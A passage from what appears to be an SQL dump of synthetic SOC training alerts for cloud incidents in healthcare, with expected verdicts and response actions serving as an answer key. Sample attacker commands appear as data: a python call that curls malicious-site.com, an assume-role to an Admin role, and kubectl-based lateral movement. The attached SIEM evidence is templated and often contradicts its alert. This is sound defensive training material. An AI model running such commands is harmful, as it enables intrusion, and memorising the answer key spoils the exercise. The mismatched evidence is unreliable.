'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1399, 'Potential IAM Privilege Escalation Detected', 'critical', 'AWS GuardDuty', 'An IAM user attempted to assume an administrator role without prior authorization. This may indicate an internal attack or credential compromise.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T11:45:18Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"10.1.1.7\",\"username\":\"malicious_user\",\"hostname\":\"aws.amazon.com\",\"request_body\":\"\",\"command_line\":\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Known command for unauthorized privilege escalation\"}}],\"expected_actions\":[\"reset_credentials\",\"collect_forensics\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"IAM user attempting to escalate privileges without authorization is indicative of a potential insider threat or compromised account.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1400, 'Suspicious Logins Detected from Foreign Location', 'medium', 'Azure Defender', 'Multiple failed login attempts were detected from an IP address located in a region not typically accessed by the user. May indicate a brute force or credential stuffing attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T09:33:47Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.56\",\"dst_ip\":\"192.168.3.10\",\"username\":\"jane.smith\",\"hostname\":\"login.microsoftonline.com\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 103 times for brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"High number of failed login attempts from a foreign IP indicates a potential brute force attack.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1401, 'Exposed GCP Storage Bucket Detected', 'high', 'GCP SCC', 'An exposed GCP storage bucket was detected, which may lead to unauthorized access to sensitive healthcare data.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:20:45Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.27\",\"dst_ip\":\"10.0.0.5\",\"username\":\"n/a\",\"hostname\":\"storage.googleapis.com\",\"request_body\":\"GET /unsecured-bucket/medical-data\",\"command_line\":\"\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.27\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple data breaches\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"storage.googleapis.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Exposed cloud storage URL\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The exposed GCP storage bucket could lead to unauthorized data access, indicating a potential data breach.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1402, 'Lambda Function Misuse Detected in AWS', 'critical', 'AWS GuardDuty', 'A suspicious execution of a Lambda function was detected, possibly indicating an attempt to use AWS resources for unauthorized activities.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T12:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"192.168.4.20\",\"username\":\"lambda-user\",\"hostname\":\"lambda.amazonaws.com\",\"request_body\":\"\",\"command_line\":\"python3 -c \'import os; os.system(\\\"curl http://malicious-site.com\\\")\'\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP involved in command and control activities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python3 -c \'import os; os.system(\\\"curl http://malicious-site.com\\\")\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for unauthorized resource use\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"Unauthorized command execution via Lambda function suggests potential misuse of AWS resources for malicious purposes.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1403, 'Kubernetes Pod Abnormal Activity Detected', 'high', 'Prisma Cloud', 'Unusual network traffic patterns detected from a Kubernetes pod, which may indicate a compromised container or unauthorized access attempt.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T13:30:29Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.1.50\",\"dst_ip\":\"10.0.2.50\",\"username\":\"kube-user\",\"hostname\":\"kube-cluster\",\"request_body\":\"\",\"command_line\":\"kubectl exec pod-name -- curl http://10.0.2.50\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec pod-name -- curl http://10.0.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Potential unauthorized lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Suspicious network activity from a Kubernetes pod may indicate an attempt to move laterally within the network.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1404, 'False Positive: Suspicious Domain Accessed', 'low', 'Wiz', 'A domain flagged as suspicious was accessed, but further investigation shows it is used for legitimate purposes.', 'Web', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T14:15:42Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.5.35\",\"dst_ip\":\"198.51.100.100\",\"username\":\"alice.wonder\",\"hostname\":\"healthcare-partner.com\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP 